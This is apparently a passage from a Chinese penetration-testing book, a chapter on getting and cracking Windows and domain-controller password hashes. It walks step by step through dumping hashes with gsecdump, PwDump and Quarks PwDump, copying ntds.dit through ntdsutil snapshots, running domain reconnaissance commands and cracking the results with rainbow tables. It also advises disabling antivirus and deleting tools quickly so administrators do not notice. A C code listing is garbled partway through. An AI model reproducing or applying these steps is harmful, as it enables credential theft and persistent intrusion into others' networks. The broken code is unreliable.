由于作者水平有限，加之时间仓促，书中疏漏之处在所难免，恳请广大读者批评指正。 反馈与提问 读者在阅读本书过程中遇到任何问题或者有任何意见，都可以直接发电子邮件至antian365@gmail.com进行反馈。 读者也可以加入Web安全图书交流QQ群（436519159）进行交流。 致谢 参加本书编写工作的有陈小兵、刘晨、黄小波、韦亚奇、邓火英、刘漩、庞香平、武师、陈尚茂、邱永永、潘喆、孙立伟。 感谢电子工业出版社对本书的大力支持，尤其是潘昕编辑为本书出版所做的大量工作。感谢美工对本书进行的精美设计。 借此机会，还要感谢多年来在信息安全领域给我教诲的所有良师益友，感谢众多热心网友对本书的支持。 最后要感谢我的家人，是他们的支持和鼓励使本书得以顺利完成。 本书集中了安全365团队众多“小伙伴”的智慧。我们是一个低调潜心研究技术的团队，我衷心地向团队的所有成员表示感谢，感谢雨人、Cold、imiyoo、cnbird、pt007、Mickey、Xnet、fido、指尖的秘密、Leoda、pt007、Mickey、YIXIN、终隐、fivestars、暖色调の微笑、幻想弦乐、Unsafe、雄究究、gh0stbo、人海孤鸿、LCCL等，是你们给了我力量，给了我信念。 作者 2016年3月于北京"},
    {"text": "未知 第1章 Windows操作系统密码的获取与破解 Windows操作系统是目前世界上最为流行的、使用最为广泛的操作系统之一，由于操作简单、实用、方便等特点，深受个人计算机用户喜爱。也正因如此，Windows是最易受到攻击的操作系统，入侵者为了长期控制Windows个人计算机和服务器，除了安装木马程序外，还必须获取操作系统本身的账号和密码。所以，Windows系统密码的获取与破解是攻防的必备基础，是后期继续渗透的前提和关键，掌握Windows操作系统密码Hash的获取和破解至关重要。 本章着重介绍Windows操作系统如何通过GetHashes、gsecdump等工具快速获取密码Hash值并破解其密码，同时对扫描3389口令、自动获取3389口令、安全设置操作系统密码、检查系统账号是否被克隆等内容进行了介绍。 本章主要内容 使用GetHashes获取Windows系统密码 使用gsecdump获取Windows系统密码 使用Quarks PwDump获取域控密码 使用PwDump获取系统账号和密码 使用SAMInside获取及破解Windows系统密码 Windows Server 2003域控服务器用户账号和密码的获取 使用Ophcrack破解系统Hash密码 使用oclHashcat破解Windows系统账号和密码 使用L0phtCrack破解Windows和Linux的密码 通过hive文件获取系统密码Hash 使用Fast RDP Brute破解3389口令 Windows口令扫描攻击 使用WinlogonHack获取系统密码 检查计算机账号克隆情况 安全设置操作系统的密码"},
    {"text": "未知 1.1 使用GetHashes获取Windows系统密码 对入侵者来说，获取Windows口令是整个攻击过程中至关重要的一环，拥有用户的口令将使内网渗透和守控更加容易。 Windows系统中的Hash密码值主要由LM-hash值和NTLM-hash值两部分构成，一旦入侵者获取了系统的Hash值，通过LC5及彩虹表等破解工具就可以很快获取系统的密码。 本节主要探讨如何使用GetHashes工具获取系统的Hash值，并对Hash值的生成原理等知识进行讲解，最后介绍了一些有关Hash破解方面的技巧。"},
    {"text": "1.Hash的定义 Hash，一般翻译为“散列”，也有直接音译为“哈希”的，就是把任意长度的输入（又叫做预映射，Pre-Image）通过散列算法变换成固定长度的输出，该输出就是散列值。"},
    {"text": "这种转换是一种压缩映射，也就是散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出，故不可能从散列值来唯一确定输入值。"},
    {"text": "简单地说，Hash就是一种将任意长度的消息压缩到某一固定长度的消息摘要函数。 2.Hash的应用 Hash主要用于信息安全领域的加密算法，它把一些不同长度的信息转化成杂乱的128位编码，这种编码叫做Hash值。 可以说，Hash就是找到数据内容和数据存放地址之间的映射关系。"},
    {"text": "（1）文件校验 我们比较熟悉的校验算法有奇偶校验和CRC校验，这两种校验并没有抗数据篡改的能力，它们在一定程度上能检测并纠正数据传输中的信道误码，但不能防止对数据的恶意破坏。"},
    {"text": "MD5 Hash算法的“数字指纹”特性，使它成为目前应用最广泛的一种文件完整性校验和（Checksum）算法，不少UNIX系统提供了计算MD5 Checksum的命令。"},
    {"text": "1.1.2 Windows的Hash密码值 下面我们讨论一下Windows的Hash密码值。 1.Windows系统的Hash密码格式 Windows系统的Hash密码格式如下。 用户名称:RID:LM-hash值:NT-hash值 Windows系统的Hash密码示例如下。 Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA 724774CE6CC::: 用户名：Administrator RID：500 LM-hash值：C8825DB10F2590EAAAD3B435B51404EE NT-hash值：683020925C5D8569C23AA724774CE6CC 2.Windows下LM-hash值的生成原理 假设明文口令是“Welcome”，首先全部转换成大写，即“WELCOME”，再将该大写字符串转换成二进制串“57454C434F4D4500000000000000”。"},
    {"text": "#include <stdio.h> #include <stdlib.h> #include <string.h> /* * 读取形如“AABBCCDDEEFF”的16进制数字串，由主调者进行形参的边界检查 */ static void readhexstring ( const unsigned char *src, unsigned char *dst, unsigned int len ) { unsigned int i; unsigned char str[3]; str[2] = '\\0'; for ( i = 0; i < len; i++ ) { str[0] = src[ i * 2 ]; str[1] = src[ i * 2 + 1 ]; dst[i] = ( unsigned char )strtoul( str, NULL, 16 ); } return; } /* end of readhexstring */ /* * from The Samba Team's source/libsmb/smbdes.c */ static void str_to_key ( const unsigned char *str, unsigned char *key ) { unsigned int i; key[0] = str[0] >> 1; key[1] = ( ( str[0] &amp; 0x01 ) << 6 ) | ( str[1] >> 2 ); key[2] = ( ( str[1] &amp; 0x03 ) << 5 ) | ( str[2] >> 3 ); key[3] = ( ( str[2] &amp; 0x07 ) << 4 ) | ( str[3] >> 4 ); key[4] = ( ( str[3] &amp; 0x0F ) << 3 ) | ( str[4] >> 5 ); key[5] = ( ( str[4] &amp; 0x1F ) << 2 ) | ( str[5] >> 6 ); key[6] = ( ( str[5] &amp; 0x3F ) << 1 ) | ( str[6] >> 7 ); key[7] = str[6] &amp; 0x7F; for ( i = 0; i < 8; i++ ) { key[i] = ( key[i] << 1 ); } return; } /* end of str_to_key */ int main ( int argc, char * argv[] ) { unsigned int i; unsigned char buf_0[21]; unsigned char buf_1[24]; if ( argc != 2 ) { fprintf( stderr, \"Usage: %s <hexadecimal string>\\n\", argv[0] ); return( EXIT_FAILURE ); } memset( buf_0, 0, sizeof( buf_0 ) ); memset( buf_1, 0, sizeof( buf_1 ) ); i = strlen( argv[1] ) / 2; readhexstring( argv[1], buf_0, i ); for ( i = 0; i < s { fprintf( stderr } fprintf( stderr, \" str_to_key( buf_0, str_to_key( buf_0 str_to_key( buf_0 for ( i = 0; i < s { fprintf( stderr } fprintf( stderr, \" return( EXIT_SUCCE } /* end of main */ 将这2组8字节数据作为DESKey对魔术字符串“KGS!@#$%”进行标准DES加密。"},
    {"text": "KGS!@#$%→4B47532140232425 56A25288347A348A→对4B47532140232425进行标准DES加密→C23413A8A1E7665F 0000000000000000→4B47532140232425进行标准DES加密→AAD3B435B51404EE将加密后的两组数据简单拼接，LM-hash为C23413A8A1E7665FAAD3B435B51404EE。"},
    {"text": "3.Windows下NTLM-hash值的生成原理 IBM设计的LM-hash算法存在几个弱点，微软在保持向后兼容性的同时提出了自己的挑战响应机制，NTLM-hash应运而生。"},
    {"text": "123456→310032003300340035003600 从ASCII串转换成Unicode串时使用LITTLE-ENDIAN，微软在设计SMB协议时就没有考虑BIG-ENDIAN，ntoh*()、hton*() 函数不宜用在SMB报文解码中。"},
    {"text": "0x80之前的标准ASCII码转换成Unicode码，就是简单地从“0x??”变成“0x00??”。 此类标准ASCII串按LITTLE-ENDIAN转换成Unicode串，就是简单地在原有数据的每个字节之后添加“0x00”。"},
    {"text": "310032003300340035003600→进行标准MD4单向Hash→32ED87BDB5FDC5E9CBA88547376818D4 得到的NTLM-hash为32ED87BDB5FDC5E9CBA88547376818D4。"},
    {"text": "与LM-hash算法相比，明文口令对大小写敏感，无法根据NTLM-hash判断原始明文口令是否小于8字节，且摆脱了魔术字符串“KGS!@#$%”。"},
    {"text": "GetHashes <SAM registry file> [System key file] Or GetHashes $Local 根据个人爱好，可以将GetHashes软件更名为其他名称，在后面的案例中就将其命名为“getpw”。 2.使用GetHashes获取系统Hash值实例 将“GetHashes”更名为“getpw”，将其复制到欲获取Hash密码值的系统盘中，然后执行“getpw $local”命令，如图1-1所示，顺利获取其Hash密码值。"},
    {"text": "依次单击“文本”→“保存为”选项，将结果保存为一个新文件，使用UltraEdit编辑器进行编辑，仅保存Hash密码值部分，然后使用LC5导入Hash密码值即可破解系统的密码。 图1-1 获取系统Hash值 注意 （1）使用GetHashes获取系统的Hash密码值时，必须要在System权限下，也就是在反弹Shell或者Telnet下。"},
    {"text": "图1-2 许多杀毒软件已经将GetHashes作为病毒处理 （3）InsidePro公司在其网站上还提供了一个Hash产生器，通过输入一些参数值就能够生成经过某种加密算法处理的口令密码值，如图1-3所示，有兴趣的读者可以尝试。"},
    {"text": "图1-3 Hash生成器 （4）Hash密码值在线查询。 在http://hash.insidepro.com/网站还可以在线查询Hash密码值的原始明文口令，如图1-4所示。 将经过MD5加密的Hash值输入后，单击“Search”按钮，如果数据库中存在该值的计算结果，就会在该页面给出。"},
    {"text": "图1-4 在线破解Hash密码值 1.1.4 使用GetHashes获取系统Hash值的技巧 使用GetHashes获取系统的Hash值，一般是在获得了系统的部分或者全部控制权限之后，通常是在新的漏洞利用工具发布之后。"},
    {"text": "例如，当系统中存在MS08067漏洞时，可以使用MS08067漏洞利用工具获得存在此漏洞的计算机的一个反弹Shell，然后将GetHashes软件上传到系统中，执行“GetHashes $Local”命令。"},
    {"text": "02 查看系统版本，以及系统是否开启了3389远程终端。 如果未开启3389终端，判断可否直接开启3389终端。 如果可以利用3389终端，则直接添加一个具有管理员权限的用户，然后以该用户的身份登录系统。"},
    {"text": "未知 1.2 使用gsecdump获取Windows系统密码 gsecdump是Windows环境下获取密码的主要工具，其功能强于GetHashes，目前已经被定义为病毒，常见的病毒名有HackTool.FFC（AVG）、HackTool.Win32.Agent.ym（Kaspersky）、HTool-GSECDump（McAfee）、W32/Hacktool.AY（Norman）、Trojan.Moo（Symantec）、HKTL_AGENT（Trend Micro）。gsecdump的主要特点是在某些情况下能够获取域控密码，是不可多得的密码获取工具软件。 1.2.1 下载和使用gsecdump gsecdump目前的版本为2.0b5，由于其使用的广泛性，因此被Google Chrome及众多杀毒软件定义为病毒，其官方网站已经不提供下载地址，感兴趣的读者可以发送电子邮件至info@truesec.co索取。 1.2.2 gsecdump参数 运行gsecdump，如图1-5所示，默认显示帮助信息，也可以使用“gsecdump -h”命令获取帮助信息，其参数含义如下。 -h：显示帮助信息。 -a：获取所有密码信息。 -s：从SAM和域控中获取Hash值。 -l：获取LSA信息，用处不大。 -u：获取活动的登录Hash值，也即当前登录用户的Hash值。 -w：获取无线密码。 -S：强制评估版本为系统版本。 图1-5 gsecdump的运行参数信息 1.2.3 使用gsecdump获取系统密码 一般使用“gsecdump -a”命令获取所有用户的密码Hash值，如图1-6所示。也可以使用“gsecdump -u”命令获取当前登录用户的Hash值。 图1-6 获取系统所有用户的Hash值"},
    {"text": "未知 1.3 使用Quarks PwDump获取域控密码 Quarks PwDump是Quarkslab出品的一款开源用户密码提取工具，目前最新版本为0.2b，其完整源代码可以从https://github.com/quarkslab/quarkspwdump获取，支持Windows XP/2003/Vista/7/2008且相当稳定。Quarks PwDump可以抓取Windows平台上多种类型的用户凭据，包括本地账户、域账户、缓存的域账户和Bitlocker。开发这个工具的目的是同时抓取所有类型的Hash和Bitlocker信息。 该工具源代码下载地址为https://codeload.github.com/quarkslab/quarkspwdump/zip/ master，目前可以导出以下信息。 Local accounts NT/LM hashes + history：本机NT/LM Hash+历史登录记录。 Domain accounts NT/LM hashes + history：域中的NT/LM Hash +历史登录记录。 Cached domain password：缓存中的域管理密码。 Bitlocker recovery information (recovery passwords & key packages)：用Bitlocker恢复后遗留的信息。 1.3.1 使用Quarks PwDump获取本地账号的Hash值 Quarks PwDump必须在DOS命令提示符下运行。运行QuarksPwDumpv0.2b.exe，如图1-7所示，默认显示帮助信息，其参数含义如下。 图1-7 使用Quarks PwDump获取本地账号的Hash值 -dhl：导出本地Hash值。 -dhdc：导出内存中的域控Hash值。 -dhd：导出域控Hash值（必须指定NTDS文件）。 -db：导出Bitlocker信息（必须指定NTDS文件）。 -nt：导出NTDS文件。 -hist：导出历史信息，可选项。 -t：导出类型，可选项，默认导出John类型。 -o：导出文件到本地。 1.3.2 使用Quarks PwDump导出账号实例 执行命令“QuarksPwDumpv0.2b.exe -dhl -o 1.txt”，将导出本地Hash值到当前目录下的1.txt文件。执行该命令会显示导出账号的数量，如图1-8所示，有3个账号的信息被导出，打开1.txt文件可以看到导出Hash值的具体账号和值。 图1-8 导出本地账号信息 1.3.3 配合使用NTDSutil导出域控密码 NTDSutil是一个为Active Directory提供管理设施的命令行工具。可以使用NTDSutil执行Active Directory的数据库维护工作，管理和控制单个主机的操作，创建应用程序目录分区，以及删除因未使用Active Directory安装向导（DCPromo.exe）而成功降级的域控制器留下的元数据。NTDSutil还可以用来获取域控数据库文件ntds.dit，具体命令如下。 创建快照。 ntdsutil snapshot \"activate instance ntds\" create quit quit NTDSutil加载活动目录的快照。{GUID}是动态获取的，如图1-9所示。 ntdsutil snapshot \"mount {GUID}\" quit quit 图1-9 导出快照文件 复制快照至本地磁盘。 copy MOUNT_POINT\\windows\\NTDS\\ntds.dit c:\\ntds.dit 卸载快照。 ntdsutil snapshot \"unmount {GUID}\" quit quit 删除快照。 ntdsutil snapshot \"delete {GUID}\" quit quit 使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\\ntds.dit”，将导出的ntds.dit文件中的Hash值全部导出，示例如下。 tdsutil snapshot \"activate instance ntds\" create quit quit ntdsutil snapshot \"mount {a0455f6c-40c3-4b56-80a0-80261471522c}\" quit quit 快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已挂接为 C:\\$SNAP_201212082315_ VOLUM EC$\\ copy C:\\$SNAP_201212082315_VOLUMEC$\\windows\\NTDS\\ntds.dit c:\\ntds.dit ntdsutil snapshot \"unmount {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}\" quit quit ntdsutil snapshot \"delete {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}\" quit quit QuarksPwDump.exe --dump-hash-domain --ntds-file c:\\ntds.dit 说明 获取Hash值最好在同一台服务器上执行，也就是说，将QuarksPwDump.exe直接放在导出ntds.dit文件的服务器上执行导出命令。如果仅将ntds.dit复制后下载到本地，可能会出现无法读取的错误。网上出现过一个ntds.dit密码快速提取工具NTDSDump，读者可以自己进行测试。如果想下载ntds.dit到本地进行恢复，还需要执行“reg save hklm\\system system.hive”命令，将system.hive和ntds.dit全部复制到本地进行域控密码的获取。"},
    {"text": "未知 1.4 使用PwDump获取系统账号和密码 在网络攻击中，通过一些溢出程序成功溢出被攻击的计算机后，最重要的一个步骤就是获取该计算机中的用户账号和密码。特别是在成功控制服务器以后，获取系统中的账号和密码更是入侵者的必由之路。 通过使用计算机中用户原本的账号和密码登录3389终端，优于在系统中增加或者克隆账号。在系统中增加或者克隆账号容易被发现，进而导致被控计算机丢失。获取系统账号和密码的方法很多，本节使用比较流行的PwDump和LSASecretsView两款软件来获取系统中的账号和密码。 1.4.1 上传文件到欲获取密码的计算机 PwDump 4.02中有两个文件，一个是Pwd4.dll，另一个是Pwdump4.exe。在早期版本中，其DLL文件为lsaext.dll。 将这两个文件上传到欲获取账号和密码的计算机的系统目录下。 1.4.2 在Shell中执行获取密码的命令 本案例通过Radmin的Telnet来执行命令。 在系统根目录中执行“pwd4 /l /o:*.*.*.82.sam”命令，将系统中的账号和口令信息导出到“*.*.*.82.sam”文件中。导出成功后，会给出一些提示信息，如操作系统版本及用户数量等，如图1-10所示。然后，将其SAM文件传回本地计算机。 图1-10 执行获取密码的命令 说明 （1）在本例中，直接将Pwdump4.exe的名称更改为“pwd4.exe”，是为了在操作中减少输入的内容。 （2）“pwd4”后面的参数“/l”表示导出到本地，“/o:filename”表示输出到filename文件。 1.4.3 通过LC5导入SAM文件 通过PwDump4获取的是系统账号的Hash值，需要通过一些工具软件进行破解，从而获取其账号所对应的密码。 运行LC5，新建一个Session，然后在“Session”菜单或者图标中选择“Import”选项，在“Import”窗口的“Import from file”区域选中“From PWDUMP file”单选项，然后选择刚才导出的SAM文件，如图1-11所示。 图1-11 将SAM文件导入LC5 1.4.4 破解系统账号和密码 成功导入SAM文件后，会在LC5中显示“Domain”、“User Name”、“LM Password”、“Password”等信息，如图1-12所示。在该界面中，如果“LM Password”和“Password”列显示为“empty”，表示该账号为空或者使用PWDump未能导出其Hash值。在“User Name”列中，如果用户名以“IUSR_”、“IWAM_”开头，以及用户名为TsInternetUser、SQLDebugger的账号，均为系统账号，表示其密码是随机生成的，可以将其删除。 图1-12 需要破解的系统账号 1.4.5 破解结果 删除一些系统中无用的账号，单击“Session”菜单中的“Begin Audit”命令，或者单击工具栏上的绿色三角形按钮，开始破解密码。LC5破解成功后，会显密码信息，如图1-13所示。 图1-13 破解账号成功 说明 由于杀毒软件或者防火墙等系统的安全防御，使用PwDump 4.02及以前版本有可能无法正常导出系统账号及其Hash值。有时在执行命令后会出现长时间的无反应现象，如图1-14所示，这种现象表明无法通过Pw Dump导出系统账号和密码。 图1-14 导出系统账号和密码失败 对于导出系统账号和密码失败的情况，有两种处理方式：一种是使用其他软件；另一种是停用系统中的安全防护软件，再次使用PwDump导出系统账号和密码。在本案例中推荐使用LSASecretsView获取系统默认的密码。将LSASecretsView软件上传到欲获取账号和口令的计算机中，通过Radmin客户端或者其他方式，在桌面直接运行LSASecretsView，其显示结果中的“DefaultPassword”即为系统默认的管理员账号密码。 在本例中，密码为“48610”，如图1-15所示。通过LSASecretsView获取的密码是系统未更改的默认密码，对更改后的系统密码无能为力。 图1-15 通过LSASecretsView获取系统密码 注意 使用LSASecretsView获取系统的密码需要在GUI模式下进行。不过，LSASecretsView可以直接读出系统的默认密码，因此，使用该软件获取肉机的密码时操作一定要迅速，获取密码后立即删除该软件并退出桌面，以免被用户或者管理员发现。"},
    {"text": "未知 1.5 使用SAMInside获取及破解Windows系统密码 在通过SQL注入等方式获取网站的WebShell后，就要利用系统的各种漏洞进行提权，提权成功后通过远程终端进入系统。此时，为了长期控制或者进一步渗透网络，就需要获取系统正常用户的密码。 获取系统密码Hash值的软件很多，本节主要介绍如何使用SAMInside获取系统的Hash值，以及如何结合彩虹表快速破解系统用户的密码。 1.5.1 下载和使用SAMInside SAMInside的官方下载地址为http://www.insidepro.com/download/saminside.zip。目前的最新版本为SAMInside 2.7.0.2，该版本中不再提供GetHashes工具（官方提供的是试用版，有些高级功能不能使用），但并不影响获取系统密码Hash值。SAMInside可以获取Windows 2008 Server及以下版本操作系统的用户密码Hash值。在获取这些Hash值后，可以通过彩虹表或者字典等进行破解，进而获取系统的密码。SAMInside不需要安装，将下载的文件解压缩到本地磁盘即可使用。 1.5.2 使用Scheduler导入本地用户的Hash值 直接运行SAMInside，如图1-16所示，单击第3个图标，然后选择“Import Local Users via Scheduler”选项，将本地用户的Hash值导出。虽然SAMInside还提供了从LSASS导出本地用户的机制，但该方法在一些操作系统中容易出错。 图1-16 使用Scheduler导入本地用户的Hash值 1.5.3 查看导入的Hash值 使用SAMInside导入本地用户的Hash值，必须具有管理员权限。在有些情况下，管理员会对磁盘进行权限限制，这个时候需要为SAMInside授权才能获取系统用户的Hash值。 如图1-17所示，一共获取了4个用户的Hash值，并显示了每个值的User、RID、LM-password、NT-password、LM-hash、NT-hash、Description信息。如果LM-password和NT-password显示为“Disabled”，表示该账户处于禁用状态。对超过14位的密码，在LM-password中会以全0显示。在旧版本的SAMInside中，以“AA3D”开头显示的密码也表示其位数超过14位，如“simeon:1005:AAD3B435B51404EEAAD3B435B51404EE: 5E9C2FAAE669F5D06F33014E33AC2CFC:::”的密码就超过了14位。 图1-17 查看导入的Hash值 1.5.4 导出系统用户的Hash值 依次单击“File”→“Export Users to PWDUMP File”选项，将获取系统用户的密码Hash值导出为一个文件，其导出文件的内容如图1-18所示。然后，将该文件导入Ophcrack中进行破解。 图1-18 导出系统用户的Hash值 SAMInside本身也能破解系统Hash值，不过破解速度和效果不如Ophcrack。对一些简单的密码，SAMInside会直接显示，感兴趣的朋友可以尝试。 1.5.5 设置SAMInside的破解方式 如图1-19所示，默认选择“LM-hashes attack”选项进行破解。如果用户密码超过14位，或者LM-hash中显示的全是0，则可以选择“NT-hashes attack”选项进行破解。然后，需要设置字典破解、暴力破解、掩码破解及彩虹表破解等。 如果采用字典破解，则需要选择“Options…”选项，在“Dictionary attack”中设置字典。将本地字典文件添加到字典文件列表中，如图1-20所示。可以设置多个字典文件用于破解。SAMInside的帮助系统提供了在线字典下载功能，大概有2GB的字典可供下载。 图1-19 设置SAMInside的破解方式 图1-20 导入字典文件进行破解 1.5.6 执行破解 设置破解的有关选项后，单击绿色三角形图标进行破解，如图1-21所示。如果密码在字典文件中，则很快就会给出结果。 图1-21 运行字典破解本地用户密码"},
    {"text": "未知 1.6 Windows Server 2003域控服务器用户账号和密码的获取 域控制器相当于一个门卫，其中包含由这个域的账户密码、管理策略等信息构成的数据库。 当一台计算机登录域时，域控制器要鉴别这台计算机是否属于这个域，以及用户使用的登录账号和密码是否正确。 如果正确，则允许计算机登录这个域，使用该域内其有权限访问的资源，如文件服务器、打印服务器（也就是说，域控制器仅起到验证作用，访问其他资源并不需要再跟域控制器扯上关系）； 如果不正确，则不允许计算机登录，这时计算机将无法访问域内的资源，这在一定程度上保护了企业网络资源。 域服务器的作用如下。"},
    {"text": "ISA、Exchange、防病毒服务器、补丁分发服务器、文件服务器等服务依赖于域服务器。 域控服务器是网络安全渗透的重点对象。 获取了域控服务器的权限，就意味着掌控了整个网络的资源和权限，在渗透过程中获取域控服务器用户账号和密码是基础和必需的一步。 本节将对域控渗透思路、内网渗透常见命令及域控用户账号和密码的获取进行探讨。 1.6.1 域控服务器渗透思路 域控服务器的渗透思路，仁者见仁，智者见智，笔者将实际工作经验总结如下。 寻找网络入口，获取域控用户权限，通过用户获取域控管理员信息。 针对域控管理员开展个人主机渗透或者社会工程学攻击，获取域管理员个人主机权限，进而获取域控服务器权限。 获取域控服务器内某台Web服务器或者其他服务器的权限。 在获取一台服务器的权限后，通过获取该服务器的用户账号和密码，对整个内网使用NTScan等工具进行账号的暴力破解，从而获取域控服务器权限。 总之，在内网渗透中需要对各种信息进行收集和研判，通过信息进行大胆的推断和渗透测试，不断扩大权限，最终获取域控服务器的权限。 1.6.2 内网域控服务器渗透的常见命令 下面介绍内网域控服务器渗透的常见命令。"},
    {"text": "端口列表：开放端口对应的常见服务/应用程序（匿名、权限、漏洞等），以及利用端口进行信息收集，建议读者深入挖掘（NETBIOS、SMB等）。"},
    {"text": "2.常见的信息收集命令 查询本机用户列表：net user 查询本机管理员（通常含有域用户）：net localhroup administrators 查询域管理员用户：net group \"domain admins\" /domain 查询域用户：net user /domain 查询域里面的工作组：net group /domain 查询域名称：net view /domain 查询域内计算机：net view /domain:XX 查询域控制器：net time /domain 查询域管理员用户组：net localgroup administrators /domain 域用户添加到本机：net localgroup administrators workgroup\\user001 /add 查看域控制器（如果有多台）：net group \"Domain controllers\" 查询本机IP段、所在域等：ipconfig /all 查询同一域内机器列表：net view 查询所有域控制器：dsquery server dsquery server -domain super.com | dsget server -dnsname -site //搜索域内所有域控制器并显示其DNS主机名和站点名 查询域内计算机：dsquery computer dsquery computer domainroot -name admin* -limit 10 //搜索域内名称以“admin”开头的前10台机器 查询域用户：dsquery user dsquery user domainroot -name admin* -limit 10 //搜索域内名称以“admin”开头的前10个用户 查询域内联系人：dsquery contact dsquery contact domainroot -name admin* -limit 10 //搜索域内名称以“admin”开头的前10个联系人 查询域内子网：dsquery subnet 查询域内用户组：dsquery group dsquery group dc=super,dc=com |more //搜索在DC=SUPER、DC=COM域中的所有组 查询域内组织单位：dsquery ou 查询域内站点：dsquery site dsquery site -o rdn //搜索域中所有站点的名称 查询域内所有计算机：net group \"domain computers\" /domain 注意 -limit参数不指定查询数量，则默认显示前100条结果。 查询超过4周未登录的计算机：dsquery computer -inactive 4 查询超过4周未登录的用户：dsquery user -inactive 4 通过组织单位查询计算机：dsquery computer \"ou=xx,dc=xx,dc=com\" 求助待解决问题： dsquery user domainroot -name admin* -limit 10 //搜索域内名称以“admin”开头的前10个用户 查询这10个用户的后10个用户要如何写？ 列出本机所有驱动器：fsutil.exe fsinfo drives 显示当前路由表中的所有项目：route print 显示IP路由表中以“10”开头的路由条目：route print 10.* 备份导出服务器网络配置：netsh dump>d:\\netbak.txt 查看邮件服务器记录：nslookup -qt=mx google.com 查看子域名服务器记录：nslookup -qt=ns google.com 列出所有记录：>ls -d domain d:\\xxx.txt 1.6.3 域控服务器用户账号和密码获取实例 01 获取IP配置信息 打开命令提示符窗口，如图1-22所示，输入命令“ipconfig /all”，查看该服务器的IP地址等信息，并通过该信息探测是否存在域控服务器。"},
    {"text": "图1-22 获取网络配置情况 02 查看域控情况 通过“net view”命令查看显示当前域的计算机列表，在本例中发现仅存在1台服务器，如图1-23所示。 运行“net view”命令可以显示域列表、计算机列表或指定计算机的共享资源列表。 “net view [\\\\ComputerName] [/domain[:DomainName]]”命令用于指定要查看其可用计算机的域。"},
    {"text": "图1-23 显示当前域的计算机列表 图1-24 获取当前域控名称 03 登录域控服务器 使用NTScan扫描网段10.168.10.1-254中已经获取的Web服务器管理员密码和用户密码，获取IP地址为10.168.10.3的域控服务器的用户名和密码。"},
    {"text": "04 获取域控服务器的用户密码 将PsExec、gsecdump等工具上传到域控服务器。 执行“psexec \\\\127.0.0.1 cmd”命令获取system权限，然后到工具目录下执行“gsecdump -s >all.txt”命令，将用户密码Hash值全部导出到all.txt文件，如图1-26所示，代码如下。 图1-25 获取域控服务器权限 图1-26 获取域控服务器的用户密码 usage: gsecdump [options] options: -a [ --dump_all ] dump all secrets -s [ --dump_hashes ] dump hashes from SAM/AD -l [ --dump_lsa ] dump lsa secrets -u [ --dump_usedhashes ] dump hashes from active logon sessions -w [ --dump_wireless ] dump microsoft wireless connections -h [ --help ] show help -S [ --system ] run as localsystem 05 查看并整理域控用户密码 通过“记事本”等程序打开all.txt，将IUSR、IWAM及用户名末尾含有“$”符号的用户全部删除。"},
    {"text": "例如，“IUSR_FS02T47E(current)”、“IWAM_FS02T47E(current)”、“RM103-2$(current)”都是无用的密码，如图1-27所示。"},
    {"text": "图1-27 查看并整理域控用户密码 06 破解域控用户密码 将整理好的文件导入Ophcrack中进行破解。 如图1-28所示，可以快速破解域控用户的密码。 图1-28 破解域控用户的密码 技巧 有些情况下，由于管理员设置了超过14位的密码，所以通过gsecdump获取的Hash值也无法通过Ophcrace工具进行破解。"},
    {"text": "执行“wce -w”命令直接获取登录用户的明文密码，如图129所示。 图1-29 获取登录用户的明文密码 还可以使用Mimikatz获取系统曾经登录用户的明文密码，示例如下。"},
    {"text": "工具下载：http://sourceforge.net/project/showfiles.php?group_id=133599 Ophcrack主页：http://ophcrack.sourceforge.net/ 英文维基百中关于彩虹表的定义和解释：http://en.wikipedia.org/wiki/Rainbow_table 国内对彩虹表的研究：http://www.antsight.com/zsl/rainbowcrack/ 目前有关Ophcrack和彩虹表的其他相关资料 下载Ophcrack软件及其源代码，以及Ophcrack提供的彩虹表（http://ophcrack. sourceforge.net/tables.php），可以知道Ophcrack提供了3个免费的彩虹表和1个需付费购买的Windows XP Special扩展表。"},
    {"text": "1.Windows XP free small（380MB） 标识： SSTIC04-10k 破解成功率： 99.9% 字母数字表： 123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 该表由大小写字母和数字生成，大小为388MB，包含所有字母数字混合密码中99.9% 的LanManager表。"},
    {"text": "由于LanManager Hash表将密码分成每份7个字符的2段，所以，可以用该表破解长度为1～14位的密码。 由于LanManager Hash表是不区分大小写的，该表中的800亿个组合就相当于12×1011（或者283）个密码，因此也被称为“字母数字表10K”。"},
    {"text": "2.Windows XP free fast（703MB） 标识： SSTIC04-5k 成功率： 99.9% 字母数字表： 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ字母数字表5KB，大小为703MB，包含所有字母数字组合的密码中99.9% 的LanManager表。"},
    {"text": "3.Windows XP Special（7.5GB） 标识： WS-20k 成功率： 96% Windows XP Special扩展表的大小为7.5GB，包含最长14个大小写字母、数字及33个特殊字符（“!”、“\"”、“#”、“$”、“%”、“&”、“'”、“(”、“)”、“*”、“+”、“,”、“-”、“.”、“/”、“:”、“;”、“<”、“=”、“>”、“?”、“@”、“[”、“\\”、“]”、“^”、“”、“`”、“{”、_“|”、“}”、“~”和空格）组成的密码中96%的LanManager表。"},
    {"text": "笔者在安装过程中选择后下载了数个小时，而实际上，彩虹表可以在程序安装完成后再下载，否则要等彩虹表下载完成后才能使用Ophcrack。 图1-31 安装时建议不下载彩虹表 02 使用Ophcrack 运行Ophcrack，该软件有“Load”、“Delete”、“Save”、“Tables”、“Crack”、“Help”、“Exit”共7个主要模块，如图1-32所示。"},
    {"text": "本例将3个压缩文件解压到F盘，如图1-34所示，选择“Tables”目录，即可同时安装获取的其他2个彩虹表。 图1-32 Ophcrack主界面 图1-33 彩虹表 图1-34 选择要安装的彩虹表 注意 （1）在Ophcrack中，其彩虹表的上级目录名称必须为“tables”，否则彩虹表无法成功安装。 （2）彩虹表安装成功后，其条目图标会变成绿色，用户还可以查看彩虹表的数量，如图1-35所示。 图1-35 彩虹表安装成功 05 准备破解材料 这里的破解材料主要是指通过GetHashes、Pwdump等软件获取的系统Hash密码值。"},
    {"text": "如图1-36所示，一共有6个选项，第1个选项主要用于对单个Hash的破解，第2个选项用于对获取的Pwdump文件进行破解，第3个选项用于对加密的SAM文件进行破解，第4个和第5个选项主要用于审计或者破解本地和远程Hash密码。"},
